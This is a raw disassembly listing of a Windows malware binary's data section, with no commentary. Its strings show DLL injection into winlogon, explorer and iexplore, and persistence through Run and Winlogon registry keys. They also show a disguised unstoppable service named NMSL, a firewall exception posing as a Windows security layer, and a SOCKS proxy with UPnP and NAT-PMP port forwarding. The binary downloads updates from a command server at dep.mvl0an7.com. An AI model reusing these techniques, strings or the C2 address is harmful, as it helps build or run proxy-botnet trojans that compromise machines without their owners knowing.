aDying_0 db 'dying',0Ah,0 aWaitingForDl_0 db 'waiting for <DLL dies> event...',0Ah,0 aWinlogon_exe_0 db 'winlogon.exe',0 aExplorer_exe_0 db 'explorer.exe',0 aIexplore_exe_0 db 'iexplore.exe',0 aOldDllFoundW_0 db 'old DLL found; waiting for <DLL dies> event...',0Ah,0 aTryingSWithS_0 db 'trying <%s> with <%s> failed',0Ah,0 aTryingSWithS_1 db 'trying <%s> with <%s>',0Ah,0 aDllInjected_0 db 'DLL injected!',0Ah,0 aThreadComple_0 db 'thread complete (%i).',0Ah,0 aThreadInject_0 db 'thread injected (%i).',0Ah,0 aProcessOpene_0 db 'process opened.',0Ah,0 aS_2 db '<%s>',0Ah,0 aWriteprocess_0 db 'WriteProcessMemory() ok',0Ah,0 aGetlasterror_1 db 'GetLastError',0 aExitthread_1 db 'ExitThread',0 aLoadlibrarya_0 db 'LoadLibraryA',0 aKernel32_dll_0 db 'kernel32.dll',0 aVirtualalloc_0 db 'VirtualAllocEx() ok',0Ah,0 aSedebugprivi_0 db 'SeDebugPrivilege',0 aDllNotExtrac_0 db 'DLL not extracted.',0Ah,0 aDllOkS_0 db 'DLL ok: <%s>',0Ah,0 aTryingDllS_0 db 'trying DLL: <%s>',0Ah,0 aDllFoundS_0 db ' DLL found: <%s>',0Ah,0 aCheckingDllS_0 db 'checking DLL: <%s>',0Ah,0 a000_tmp_0 db '000.tmp',0 aNmsl__0 db 'nmsl_',0 aOldDllS_0 db 'old DLL: <%s>',0Ah,0 aR_0 db 'r',0 aFileSWritten_0 db 'file <%s> written, wsz=%i',0Ah,0 aFileSCreated_0 db 'file <%s> created',0Ah,0 aFileSNotCrea_0 db 'file <%s> NOT created',0Ah,0 aWb_1 db 'wb+',0 aResourceHere_0 db 'resource here, size: %i',0Ah,0 a8001_0 db '#8001',0 aDlltestliste_3 db 'DLLTestListenThread: done...',0Ah,0 aDlltestliste_4 db 'DLLTestListenThread: accepting...',0Ah,0 aDlltestliste_5 db 'DLLTestListenThread: listening...',0Ah,0 aDlltestliste_6 db 'DLLTestListenThread: binding...',0Ah,0 aDlltestthrea_0 db 'DLLTestThread: pulsing...',0Ah,0 db '**',0 aServicefixer_0 db 'ServiceFixerThread started.',0Ah,0 db '" ',0 aRegisterserv_1 db 'RegisterServiceCtrlHandler() failed %-(',0Ah,0 aSetservicest_3 db 'SetServiceStatus(): stopped',0Ah,0 aSetservicest_4 db 'SetServiceStatus(): running',0Ah,0 aSetservicest_5 db 'SetServiceStatus(): start pending',0Ah,0 aServicectrld_0 db 'ServiceCtrlDispatcher()',0Ah,0 aWaitingForSt_0 db 'WAITING FOR STOP EVENT!',0Ah,0 aEventCreaton_0 db 'EVENT CREATON ERROR: %i',0Ah,0 aEventCreated_0 db 'EVENT CREATED.',0Ah,0 aWritingToHkc_0 db 'writing to HKCU/autorun key...',0Ah,0 aSoftwareMicr_2 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 aWritingToHkl_0 db 'writing to HKLM/autorun key...',0Ah,0 db '*',0 aLoad_0 db 'load',0 aSoftwareMicr_3 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows',0 db ',',0 aUserinit_0 db 'Userinit',0 aSoftwareMicr_4 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0 aStartupprogr_0 db 'StartupPrograms',0 aSystemCurren_2 db 'System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd',0 aRegreadCanTR_0 db 'RegRead(): can',27h,'t read key %s',0Ah,0 aRegreadReadI_0 db 'RegRead(): read %i bytes from %s (%s)',0Ah,0 aRegreadOpene_0 db 'RegRead(): opened %s',0Ah,0 a1ea9b031C301_0 db '{1EA9B031-C301-4F76-805F-A41ECF9ED164}',0 aDescription_0 db 'Description',0 aDisplayname_0 db 'DisplayName',0 aLocalsystem_0 db 'LocalSystem',0 aObjectname_0 db 'ObjectName',0 aErrorcontrol_0 db 'ErrorControl',0 aStart_0 db 'Start',0 aType_0 db 'Type',0 aImagepath_0 db 'ImagePath',0 aSystemCurren_3 db 'SYSTEM\CurrentControlSet\Services\',0 aProvidesSupp_0 db 'Provides support for Microsoft Windows® NMSL. This service can n' db 'ot be stopped.',0 aServiceRegis_0 db 'service registered',0Ah,0 aNmsl_0 db 'NMSL',0 aStartingComm_0 db 'starting COMM thread...',0Ah,0 aNatpmpForwar_0 db 'NATPMP: forwarded to: %i',0Ah,0 aSocksPortI_0 db 'SOCKS port: %i',0Ah,0 aCanTBindList_0 db 'can',27h,'t bind listen socket!',0Ah,0 aListener____0 db 'listener...',0Ah,0 aTransferring_0 db 'transferring data...',0Ah,0 aSocksVIS_0 db 'socks v%i [%s]',0Ah,0 aConnectionFr_0 db 'connection from [%s]',0Ah,0 aCanTBindPort_0 db 'can',27h,'t bind port mapper listen socket!',0Ah,0 aConnectionCl_0 db 'connection closed.',0Ah,0 aDataExchange_0 db 'data exchange complete',0Ah,0 aConnectedToS_0 db 'connected to %s:%i',0Ah,0 aConnectionTo_0 db 'connection to %s:%i failed! %-( (%i)',0Ah,0 aConnectingTo_0 db 'connecting to %s:%i',0Ah,0 a127_0_0_1_0 db '127.0.0.1',0 aConnectionRe_0 db 'connection rejected (from [%s])',0Ah,0 a_win32__nmsl_0 db '_win32__nmsl_um__',0 aSystem_0 db 'SYSTEM',0 db 0Dh,' ',0Dh,0 aISecondsLeft_0 db 0Dh,'%i seconds left ',8,8,8,'.',0 aSrvWaitingIS_0 db 'Srv: waiting %i seconds...',0Ah,0 aSrvcommthrea_0 db 'SrvCommThread: done',0Ah,0 aSrvStartingUpd db 'SRV: starting updater...',0Ah,0 aSrvUpgradeS db 'SRV: UPGRADE <%s>',0Ah,0 aSrvIplist db 'SRV: IPLIST',0Ah,0 aSrvBye db 'SRV: BYE',0Ah,0 aSrvAckReject_1 db 'SRV: ACK rejected IPs failed',0Ah,0 aSrvAckReject_2 db 'SRV: ACK rejected IPs',0Ah,0 aSrvSendingRe_0 db 'SRV: sending rejected IPs failed',0Ah,0 aSrvSendingRe_1 db '* SRV: sending rejected IPs',0Ah,0 aSrvAckHandsh_0 db 'SRV: ACK handshacking failed',0Ah,0 aSrvAckHandsh_1 db 'SRV: ACK handshacking',0Ah,0 aSrvHandshaki_1 db 'SRV: handshaking failed.',0Ah,0 aSrvRip?I_0 db 'SRV: rip? %i',0Ah,0 aSrvHandshaki_2 db 'SRV: handshaking...',0Ah,0 aSrvConnectin_0 db 'SRV: connecting failed.',0Ah,0 aSrvConnectin_1 db 'SRV: connecting...',0Ah,0 aSrvSI_0 db 'SRV: [%s:%i]',0Ah,0 aMyPortI_0 db 'my port [%i]',0Ah,0 aDep_mvl0an7__0 db 'dep.mvl0an7.com',0 aAuthorizedIp_0 db 'authorized IP #%i [%s]',0Ah,0 aRunningSS____0 db 'running %s (%s)...',0Dh,0Ah,0 db '" "',0 aUpdate_2 db '*update "',0 aMsssx_0 db 'msssx',0 aDownloadedTo_0 db 'downloaded to: <%s>',0Ah,0 aMsss_0 db 'msss',0 aUpdateUrlS_0 db 'UPDATE URL: <%s>',0Ah,0 aDownloadedSS_0 db 'downloaded [%s] --> %s',0Dh,0Ah,0 aDownloadedFa_0 db 'downloaded failed: [%s] --> %s',0Dh,0Ah,0 aDownloadingS_0 db 'downloading [%s] --> %s',0Dh,0Ah,0 aFopenS____0 db 'fopen(%s)...',0Ah,0 aWb_2 db 'wb',0 aInternetopen_1 db 'InternetOpenUrl(): %i',0Ah,0 aInternetopen_2 db 'InternetOpen(): %i',0Ah,0 aMsdownloader_0 db 'msdownloader',0 db ' ',0 aCWindowsSyst_0 db 'C:\WINDOWS\system32\nmsl.exe',0 db '"',0 a_win32__nmsl_1 db '_win32__nmsl_sm__',0 a__win32__nms_0 db '__win32__nmsl_sdm__',0 aNatPmpReques_2 db 'NAT-PMP request #%i - port: [%i]',0Ah,0 aNatPmpFwdReq_0 db 'NAT-PMP fwd request #%i - ok',0Ah,0 aReceivingNat_1 db 'receiving NAT-PMP fwd request #%i...',0Ah,0 aSetsockoptNa_1 db 'setsockopt NAT-PMP fwd request #%i...',0Ah,0 aSendingNatPm_0 db 'sending NAT-PMP fwd request #%i...',0Ah,0 aRouterIpS_0 db 'router ip: [%s]',0Ah,0 aNatPmpReques_3 db 'NAT-PMP request #%i - public IP: [%s]',0Ah,0 aNatPmpReques_4 db 'NAT-PMP request #%i - ok',0Ah,0 aReceivingNat_2 db 'receiving NAT-PMP request #%i...',0Ah,0 aSetsockoptNa_2 db 'setsockopt NAT-PMP request #%i...',0Ah,0 aSendingNatPm_1 db 'sending NAT-PMP request #%i...',0Ah,0 aDefaultGatew_0 db 'default gateway: [%s]',0Ah,0 aIupnpDiscove_5 db 'IUPnP discovery request #%i: ok.',0Ah,0 aControlurl_0 db '<controlURL>',0 aService_1 db '</service>',0 aService_2 db '<service>',0 aUrnSchemasUp_0 db 'urn:schemas-upnp-org:service:WANIPConnection:1',0 aIupnpDiscove_6 db 'IUPnP discovery request #%i: bad (3)...',0Ah,0 aLocationS_0 db 'location: <%s>',0Ah,0 aIupnpDiscove_7 db 'IUPnP discovery request #%i: bad (2)...',0Ah,0 aIupnpDiscove_8 db 'IUPnP discovery request #%i: bad (1)...',0Ah,0 aLocation_0 db 'location',0 aIupnpDiscove_9 db 'IUPnP discovery request #%i: bad (0)...',0Ah,0 aSchemasUpnpO_0 db 'schemas-upnp-org:service:WANIPConnection:1',0 aIupnpDiscov_10 db 'IUPnP discovery request #%i -- checking...',0Ah,0 aReceivingIup_0 db 'receiving IUPnP discovery request #%i...',0Ah,0 aSetsockoptIu_0 db 'setsockopt IUPnP discovery request #%i...',0Ah,0 aMSearchHttp1_0 db 'M-SEARCH * HTTP/1.1',0Dh,0Ah db 'Host: 239.255.255.250:1900',0Dh,0Ah db 'ST: upnp:rootdevice',0Dh,0Ah db 'Man: "ssdp:discover"',0Dh,0Ah db 'MX: 3',0Dh,0Ah db 0Dh,0Ah,0 aSendingIupnp_0 db 'sending IUPnP discovery request #%i...',0Ah,0 aXbind____0 db 'xbind...',0Ah,0 aShit_0 db 'shit!',0Ah,0 a239_255_255__0 db '239.255.255.250',0 aHttpAddmapRe_2 db 'HTTP AddMap request [%s:%i]: code: %i...',0Ah,0 aHttpAddmapRe_3 db 'HTTP AddMap request [%s:%i]: received: %i...',0Ah,0 aHttpAddmapRe_4 db 'HTTP AddMap request: [%s:%i]...',0Ah,0 aPostSHttp1_1_0 db 'POST %s HTTP/1.1',0Dh,0Ah db 'HOST: %s:%i',0Dh,0Ah db 'CONTENT-LENGTH: %i',0Dh,0Ah db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo' db 'rtMapping"',0Dh,0Ah db 0Dh,0Ah,0 aMPostSHttp1__0 db 'M-POST %s HTTP/1.1',0Dh,0Ah db 'HOST: %s:%i',0Dh,0Ah db 'CONTENT-LENGTH: %i',0Dh,0Ah db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo' db 'rtMapping"',0Dh,0Ah db 0Dh,0Ah,0 aSEnvelopeXml_0 db '<s:Envelope',0Dh,0Ah db 'xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"',0Dh,0Ah db 's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">',0Dh,0Ah db '<s:Body>',0Dh,0Ah db '<u:AddPortMapping',0Dh,0Ah db 'xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">',0Dh,0Ah db '<NewRemoteHost></NewRemoteHost>',0Dh,0Ah db '<NewExternalPort>%i</NewExternalPort>',0Dh,0Ah db '<NewProtocol>TCP</NewProtocol>',0Dh,0Ah db '<NewInternalPort>%i</NewInternalPort>',0Dh,0Ah db '<NewEnabled>1</NewEnabled>',0Dh,0Ah db '<NewPortMappingDescription>Windows Security</NewPortMappingDescri' db 'ption>',0Dh,0Ah db '<NewLeaseDuration>0</NewLeaseDuration>',0Dh,0Ah db '</u:AddPortMapping>',0Dh,0Ah db '</s:Body>',0Dh,0Ah db '</s:Envelope>',0 a200_0 db '200',0 db 0Ah,0 aHttpDiscover_1 db 'HTTP discovery request [%s:%i]: received: %i...',0Ah,0 aGetSHttp1_1H_0 db 'GET %s HTTP/1.1',0Dh,0Ah db 'HOST: %s:%i',0Dh,0Ah db 'ACCEPT-LANGUAGE: en',0Dh,0Ah db 0Dh,0Ah,0 aHttpDiscover_2 db 'HTTP discovery request: [%s:%i]...',0Ah,0 aHttp_0 db 'http://',0 a__0 db '.',0 a6ea9b038C801_0 db '{6EA9B038-C801-4F76-805F-E41ACF9ED165}',0 aSystemCurren_4 db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal' db 'lPolicy\StandardProfile\AuthorizedApplications\List',0 aWindowsNetwo_0 db 'Windows Network Management and Security Layer',0 aEnabled_0 db ':*:Enabled:',0 aHandshakeBad_0 db 'Handshake: bad version (%i)',0Ah,0 aHandshakeBad_1 db 'Handshake: bad packed (%i)',0Ah,0 aHandshakeRec_0 db 'Handshake: recv() error',0Ah,0 aProtorecvDat_0 db 'protorecv(): data size: %i (of %i)',0Ah,0 aPktrecvPacke_0 db 'PktRecv(): packetId: 0x%03x',0Ah,0 aPktrecvInval_0 db 'PktRecv(): invalid signature (%i)',0Ah,0 aPktsendIIByt_0 db 'PktSend(%i): %i bytes',0Ah,0 aSIsS_0 db '%s is %s',0Ah,0 aWinsock2_xIn_0 db 'WinSock 2.x initialized.',0Ah,0 aWinsock1_1In_0 db 'WinSock 1.1 initialized.',0Ah,0 aA_0 db 'a',0 aPm_0 db 'PM',0 aAm_0 db 'AM',0 a02i02i02iIII_0 db '%02i/%02i/%02i %i:%i:%i%s',0 aS_3 db '%s',0 dw 0FF00h dd 0FFFFFFh, 0EA000000h, 0FF004074h, 0FFFFFFh, 0EB000000h dd 0FF004076h, 0FFFFFFh, 0EE000000h, 0FF004077h, 0FFFFFFh dd 3D000000h, 0FF004079h, 58FFFFFFh, 7300407Ch, 0FF00407Ch dd 0FFFFFFh, 0ED000000h, 0FF00407Dh, 15FFFFFFh, 3000407Fh dd 407Fh, 0FF000040h, 0FFFFFFh, 8E000000h, 0BC004085h dd 72004086h, 2 dup(0A2004086h), 5 dup(72004086h), 0AF004086h dd 72004086h, 2 dup(82004086h), 0F0004086h, 0A2004086h dd 0C9004086h, 3 dup(92004086h), 72004086h, 0E3004086h dd 3 dup(72004086h), 82004086h, 0A2004086h, 17004086h dd 82004087h, 10h dup(0A2004086h), 72004086h, 0A2004086h dd 10h dup(72004086h), 82004086h, 0Bh dup(72004086h), 0A2004086h dd 72004086h, 82004086h, 0A2004086h, 0A004086h, 72004087h dd 72004086h, 0FD004086h, 72004086h, 0C9004086h, 2 dup(0D6004086h) dd 0C9004086h, 72004086h, 0A2004086h, 0BC004086h, 4 dup(72004086h) dd 0Fh dup(0E3004086h), 3 dup(72004086h), 82004086h, 8 dup(72004086h) dd 0AF004086h, 20004086h, 30232D2Bh, 1000000h, 2000000h dd 4000000h, 8000000h, 10000000h, 0 dd 68000000h, 7A746C6Ah, 4300004Ch, 4E494E4Fh, 4F430024h dd 54554F4Eh, 24h, 0FF000000h, 0FFFFFFh, 14h dup(0) dd 10020000h, 3 dup(10001000h), 30001000h, 30003001h, 30003000h dd 9 dup(10001000h), 80004000h, 7 dup(80008000h), 5 dup(3000300h) dd 3 dup(80008000h), 0A008000h, 2 dup(0A000A00h), 8000A00h dd 9 dup(8000800h), 80000800h, 2 dup(80008000h), 6008000h dd 2 dup(6000600h), 4000600h, 9 dup(4000400h), 80000400h dd 80008000h, 10008000h, 40h dup(0) dd 97000000h, 0C70040A3h, 2 dup(0C70040A6h), 970040A6h dd 3 dup(970040A3h), 0C70040A3h, 1C0040A6h, 8B0040A0h dd 970040A0h, 2 dup(970040A3h), 0C70040A3h, 8B0040A6h dd 0C70040A0h, 3 dup(0C70040A6h), 590040A6h, 230040A4h dd 910040A2h, 0C70040A5h, 0C70040A6h, 0EF0040A6h, 0C70040A5h dd 230040A6h, 0C70040A2h, 0C70040A6h, 230040A6h, 280040A2h dd 6C6C756Eh, 20000029h, 7 dup(20202020h), 202020h, 8 dup(30303030h) dd 2 dup(0) dd 1000000h, 2000000h, 0 dd 1E00000h, 3E002E0h, 5E004E0h, 7E006E0h, 9E008E0h, 0BE00AE0h dd 0DE00CE0h, 0FE00EE0h, 11E010E0h, 13E012E0h, 15E014E0h dd 17E016E0h, 19E018E0h, 1BE01AE0h, 1DE01CE0h, 1FE01EE0h dd 21E020E0h, 23E022E0h, 25E024E0h, 27E026E0h, 29E028E0h dd 2BE02AE0h, 2DE02CE0h, 2FE02EE0h, 31E030E0h, 33E032E0h dd 35E034E0h, 37E036E0h, 39E038E0h, 3BE03AE0h, 3DE03CE0h dd 3FE03EE0h, 41E040E0h, 43E042E0h, 45E044E0h, 47E046E0h dd 49E048E0h, 4BE04AE0h, 4DE04CE0h, 4FE04EE0h, 51E050E0h dd 53E052E0h, 55E054E0h, 57E056E0h, 59E058E0h, 5BE05AE0h dd 5DE05CE0h, 5FE05EE0h, 61E060E0h, 63E062E0h, 65E064E0h dd 67E066E0h, 69E068E0h, 6BE06AE0h, 6DE06CE0h, 6FE06EE0h dd 71E070E0h, 73E072E0h, 75E074E0h, 77E076E0h, 79E078E0h dd 7BE07AE0h, 7DE07CE0h, 7FE07EE0h, 81E080E0h, 83E082E0h dd 85E084E0h, 87E086E0h, 89E088E0h, 8BE08AE0h, 8DE08CE0h dd 8FE08EE0h, 91E090E0h, 93E092E0h, 95E094E0h, 97E096E0h dd 99E098E0h, 9BE09AE0h, 9DE09CE0h, 9FE09EE0h, 0A1E0A0E0h dd 0A3E0A2E0h, 0A5E0A4E0h, 0A7E0A6E0h, 0A9E0A8E0h, 0ABE0AAE0h dd 0ADE0ACE0h, 0AFE0AEE0h, 0B1E0B0E0h, 0B3E0B2E0h, 0B5E0B4E0h dd 0B7E0B6E0h, 0B9E0B8E0h, 0BBE0BAE0h, 0BDE0BCE0h, 0BFE0BEE0h dd 0C1E0C0E0h, 0C3E0C2E0h, 0C5E0C4E0h, 0C7E0C6E0h, 0C9E0C8E0h dd 0CBE0CAE0h, 0CDE0CCE0h, 0CFE0CEE0h, 0D1E0D0E0h, 0D3E0D2E0h dd 0D5E0D4E0h, 0D7E0D6E0h, 0D9E0D8E0h, 0DBE0DAE0h, 0DDE0DCE0h dd 0DFE0DEE0h, 0E1E0E0E0h, 0E3E0E2E0h, 0E5E0E4E0h, 0E7E0E6E0h dd 0E9E0E8E0h, 0EBE0EAE0h, 0EDE0ECE0h, 0EFE0EEE0h, 0F1E0F0E0h dd 0F3E0F2E0h, 0F5E0F4E0h, 0F7E0F6E0h, 0F9E0F8E0h, 0FBE0FAE0h dd 0FDE0FCE0h, 0FFE0FEE0h, 280000E0h, 75006E00h, 6C006C00h dd 2900h, 30000000h, 34333231h, 38373635h, 63626139h, 666564h dd 33323130h, 37363534h, 42413938h, 46454443h, 2 dup(0) dd offset loc_4023FB+5 dd 0 dd offset loc_405900 dd 0 dd offset loc_40C385+3 dd 84000000h, 4197D7h, 7937E080h, 174341C3h, 0B5B5056Eh dd 0F54693B8h, 3E93FF9h, 324D384Fh, 48F9301Dh, 3C5A8277h dd 0DD7F73BFh, 75154Fh, 84000000h, 4197D7h, 0 dd 3FF000h, 0 dd 30000000h, 34333231h, 38373635h, 43424139h, 464544h dd 33323130h, 37363534h, 62613938h, 66656463h, 464E4900h dd 666E6900h, 4E414E00h, 6E616E00h, 0D8000000h, 0F30040C0h dd 0CF0040C0h, 0F30040C0h, 0BA0040C0h, 0F30040C0h, 0C60040C0h dd 2 dup(0F30040C0h), 0E10040C0h, 200040C0h, 74202D2Dh dd 696D7265h, 6974616Eh, 0A676Eh, 6E676973h, 23206C61h dd 72657400h, 616E696Dh, 6E6F6974h, 71657220h, 74736575h dd 766E6900h, 64696C61h, 6F747320h, 65676172h, 63636120h dd 737365h, 65746E69h, 70757272h, 6E6F6974h, 766E6900h dd 64696C61h, 65786520h, 61747563h, 20656C62h, 65646F63h dd 69726100h, 656D6874h, 20636974h, 6F727265h, 62610072h dd 74726Fh, 3 dup(0) dd 30000000h, 0 dd 2Eh, 19h dup(0) dd 5A000000h, 2 dup(5B5B5B5Bh), 5Bh, 57h dup(0) dd 50000000h, 0Dh dup(0) dd 8000000h, 10000000h, 20000000h, 40000000h, 80000000h dd 0 dd 1, 2, 4, 0 dd 20000000h, 199305h, 2 dup(0) dd 40000000h, 28004128h, 10004128h, 0F8004128h, 4127h dd 1Ah dup(0) dd 1000000h, 0 dd 0D8000000h, 0D9004112h, 4 dup(0D8004112h), 0B8004112h dd 4112h, 9 dup(0) dd 2000000h, 1000008h, 24000000h, 25004113h, 4 dup(24004113h) dd 4004113h, 4113h, 9 dup(0) dd 2000000h, 2000008h, 40000000h, 90004112h, 3 dup(40004112h) dd 70004112h, 50004113h, 4113h, 9 dup(0) align 10h dd 0DC004112h, 28004112h, 4113h, 0FCh dup(0) dd 0FF000000h, 5FFFFFFh, 0BC00000h, 1D000000h, 4C00000h dd 96000000h, 4C00000h, 8D000000h, 8C00000h, 8E000000h dd 8C00000h, 8F000000h, 8C00000h, 90000000h, 8C00000h dd 91000000h, 8C00000h, 92000000h, 8C00000h, 93000000h dd 8C00000h, 8 dup(0) dd 4, 2Bh dup(0) dd 5C000000h, 6A0040FBh, 40FBh, 3000000h, 46000000h, 40FEh dd 0Eh dup(0) dd 46000000h, 40FEh, 0Eh dup(0) dd 46000000h, 40FEh, 0Eh dup(0) dd 46000000h, 40FEh, 0Eh dup(0) dd 0CC000000h, 6 dup(0CC004101h), 7F004101h, 3 dup(7F7F7F7Fh) dd 0CD00007Fh, 2 dup(0CC004101h), 4101h, 0 dd 7FF000h, 0 dd 7FF800h, 0 dd 3C9000h, 0 dd 3E4000h, 0 dd offset loc_4031FF+1 dd 0 dd 88000000h, 11Ah, 0 dd 0B2000000h, 0C8000122h, 0E800011Ch, 11Bh, 0 dd 0B6000000h, 28000124h, 4C00011Eh, 11Ch, 0 dd 20000000h, 8C000125h, 0AC00011Eh, 11Ch, 0 dd 40000000h, 0EC000125h, 0B400011Eh, 11Ch, 0 dd 9C000000h, 0F4000125h, 11Eh, 4 dup(0) dd 8000000h, 1800011Fh, 3400011Fh, 4C00011Fh, 6400011Fh dd 7400011Fh, 8400011Fh, 9A00011Fh, 0A800011Fh, 0BE00011Fh dd 0CE00011Fh, 0DE00011Fh, 0F000011Fh, 400011Fh, 12000120h dd 24000120h, 2C000120h, 42000120h, 52000120h, 60000120h dd 72000120h, 82000120h, 90000120h, 0A0000120h, 0B4000120h dd 0C0000120h, 0D6000120h, 0F0000120h, 0FE000120h, 14000120h dd 20000121h, 2C000121h, 3C000121h, 48000121h, 62000121h dd 78000121h, 86000121h, 96000121h, 0A8000121h, 0B8000121h dd 0C8000121h, 0DC000121h, 0EE000121h, 2000121h, 14000122h dd 2A000122h, 40000122h, 4E000122h, 62000122h, 7E000122h dd 90000122h, 0A0000122h, 0A8000122h, 0B8000125h, 0C6000125h dd 0D6000125h, 0E6000125h, 0F4000125h, 6000125h, 12000126h dd 20000126h, 2E000126h, 3A000126h, 48000126h, 54000126h dd 60000126h, 70000126h, 88000126h, 96000126h, 0A2000126h dd 0B8000126h, 0C2000126h, 0D0000126h, 0EC000126h, 6000126h dd 14000127h, 26000127h, 38000127h, 50000127h, 6A000127h dd 7A000127h, 8A000127h, 96000127h, 0A6000127h, 0BE000127h dd 0D0000127h, 0DC000127h, 127h, 0C0000000h, 0D2000122h dd 0E4000122h, 0F2000122h, 2000122h, 12000123h, 32000123h dd 4E000123h, 5E000123h, 70000123h, 80000123h, 96000123h dd 0AC000123h, 0C4000123h, 0DC000123h, 0EC000123h, 0FE000123h dd 0E000123h, 22000124h, 36000124h, 54000124h, 72000124h dd 8A000124h, 9E000124h, 124h, 73000000h, 74800000h, 17800000h dd 15800000h, 3800000h, 12800000h, 0C800000h, 9800000h dd 4800000h, 2800000h, 0D800000h, 1800000h, 0F800000h dd 10800000h, 13800000h, 0A800000h, 34800000h, 6800000h dd 39800000h, 0B800000h, 14800000h, 11800000h, 6F800000h dd 800000h, 2C000000h, 125h, 4E000000h, 5E000125h, 72000125h dd 88000125h, 125h, 8000000h, 1800011Fh, 3400011Fh, 4C00011Fh dd 6400011Fh, 7400011Fh, 8400011Fh, 9A00011Fh, 0A800011Fh dd 0BE00011Fh, 0CE00011Fh, 0DE00011Fh, 0F000011Fh, 400011Fh dd 12000120h, 24000120h, 2C000120h, 42000120h, 52000120h dd 60000120h, 72000120h, 82000120h, 90000120h, 0A0000120h dd 0B4000120h, 0C0000120h, 0D6000120h, 0F0000120h, 0FE000120h dd 14000120h, 20000121h, 2C000121h, 3C000121h, 48000121h dd 62000121h, 78000121h, 86000121h, 96000121h, 0A8000121h dd 0B8000121h, 0C8000121h, 0DC000121h, 0EE000121h, 2000121h dd 14000122h, 2A000122h, 40000122h, 4E000122h, 62000122h dd 7E000122h, 90000122h, 0A0000122h, 0A8000122h, 0B8000125h dd 0C6000125h, 0D6000125h, 0E6000125h, 0F4000125h, 6000125h dd 12000126h, 20000126h, 2E000126h, 3A000126h, 48000126h dd 54000126h, 60000126h, 70000126h, 88000126h, 96000126h dd 0A2000126h, 0B8000126h, 0C2000126h, 0D0000126h, 0EC000126h dd 6000126h, 14000127h, 26000127h, 38000127h, 50000127h dd 6A000127h, 7A000127h, 8A000127h, 96000127h, 0A6000127h dd 0BE000127h, 0D0000127h, 0DC000127h, 127h, 0C0000000h dd 0D2000122h, 0E4000122h, 0F2000122h, 2000122h, 12000123h dd 32000123h, 4E000123h, 5E000123h, 70000123h, 80000123h dd 96000123h, 0AC000123h, 0C4000123h, 0DC000123h, 0EC000123h dd 0FE000123h, 0E000123h, 22000124h, 36000124h, 54000124h dd 72000124h, 8A000124h, 9E000124h, 124h, 73000000h, 74800000h dd 17800000h, 15800000h, 3800000h, 12800000h, 0C800000h dd 9800000h, 4800000h, 2800000h, 0D800000h, 1800000h, 0F800000h dd 10800000h, 13800000h, 0A800000h, 34800000h, 6800000h dd 39800000h, 0B800000h, 14800000h, 11800000h, 6F800000h dd 800000h, 2C000000h, 125h, 4E000000h, 5E000125h, 72000125h dd 88000125h, 125h, 0 db 0 aGettickcount db 'GetTickCount',0 align 4 db 0 aInitializecrit db 'InitializeCriticalSection',0 align 10h db 0 aEntercriticals db 'EnterCriticalSection',0 align 4 db 0 aLeavecriticals db 'LeaveCriticalSection',0 align 10h db 0 aGetstdhandle db 'GetStdHandle',0 align 10h db 0 aGetlocaltime db 'GetLocalTime',0 align 10h db 0 aGetmodulefilen db 'GetModuleFileNameA',0 db 0 db 2 dup(0), 4Ch aOcalalloc db 'ocalAlloc',0 align 4 db 0 aCreatefilemapp db 'CreateFileMappingA',0 db 0 db 2 dup(0), 47h aEtlasterror db 'etLastError',0 db 0 db 2 dup(0), 4Dh aApviewoffile db 'apViewOfFile',0 db 2 dup(0), 55h aNmapviewoffile db 'nmapViewOfFile',0 align 4 db 0 aOpenfilemappin db 'OpenFileMappingA',0 align 10h dd 6F6C4300h, 61486573h, 656C646Eh, 43000000h, 61706D6Fh dd 74536572h, 676E6972h, 41h, 656C5300h, 7065h, 746E4900h dd 6F6C7265h, 64656B63h, 68637845h, 65676E61h, 43000000h dd 74616572h, 74754D65h, 417865h, 4F000000h, 4D6E6570h dd 78657475h, 41h, 65724300h, 50657461h, 65636F72h, 417373h dd 53000000h, 614C7465h, 72457473h, 726F72h, 44000000h dd 74656C65h, 6C694665h, 4165h, 74654700h, 706D6554h, 68746150h dd 41h, 74654700h, 706D6554h, 656C6946h, 656D614Eh, 41h dd 706F4300h, 6C694679h, 4165h, 74655300h, 656C6946h, 72747441h dd 74756269h, 417365h, 49000000h, 7265746Eh, 6B636F6Ch dd 78456465h, 6E616863h, 64416567h, 64h, 69784500h, 6F725074h dd 73736563h, 57000000h, 46746961h, 6953726Fh, 656C676Eh dd 656A624Fh, 7463h, 74736C00h, 706D6372h, 4169h, 74736C00h dd 79706372h, 416Eh, 65724300h, 45657461h, 746E6576h, 41h dd 74655300h, 6E657645h, 74h, 69615700h, 726F4674h, 746C754Dh dd 656C7069h, 656A624Fh, 737463h, 47000000h, 69467465h dd 7441656Ch, 62697274h, 73657475h, 41h, 73655200h, 76457465h dd 746E65h, 46000000h, 52646E69h, 756F7365h, 41656372h dd 53000000h, 6F657A69h, 73655266h, 6372756Fh, 65h, 616F4C00h dd 73655264h, 6372756Fh, 65h, 636F4C00h, 7365526Bh, 6372756Fh dd 65h, 74654700h, 72727543h, 50746E65h, 65636F72h, 7373h dd 72695600h, 6C617574h, 6F6C6C41h, 784563h, 47000000h dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 47000000h dd 72507465h, 6441636Fh, 73657264h, 73h, 69725700h, 72506574h dd 7365636Fh, 6D654D73h, 79726Fh, 43000000h, 74616572h dd 6D655265h, 5465746Fh, 61657268h, 64h, 65704F00h, 6F72506Eh dd 73736563h, 47000000h, 78457465h, 6F437469h, 68546564h dd 64616572h, 43000000h, 74616572h, 6F6F5465h, 6C65686Ch dd 53323370h, 7370616Eh, 746F68h, 50000000h, 65636F72h dd 32337373h, 73726946h, 74h, 6F725000h, 73736563h, 654E3233h dd 7478h, 74654700h, 6D6D6F43h, 4C646E61h, 41656E69h, 52454B00h dd 334C454Eh, 6C642E32h, 6Ch, 67655200h, 61657243h, 654B6574h dd 41784579h, 52000000h, 65536765h, 6C615674h, 78456575h dd 41h, 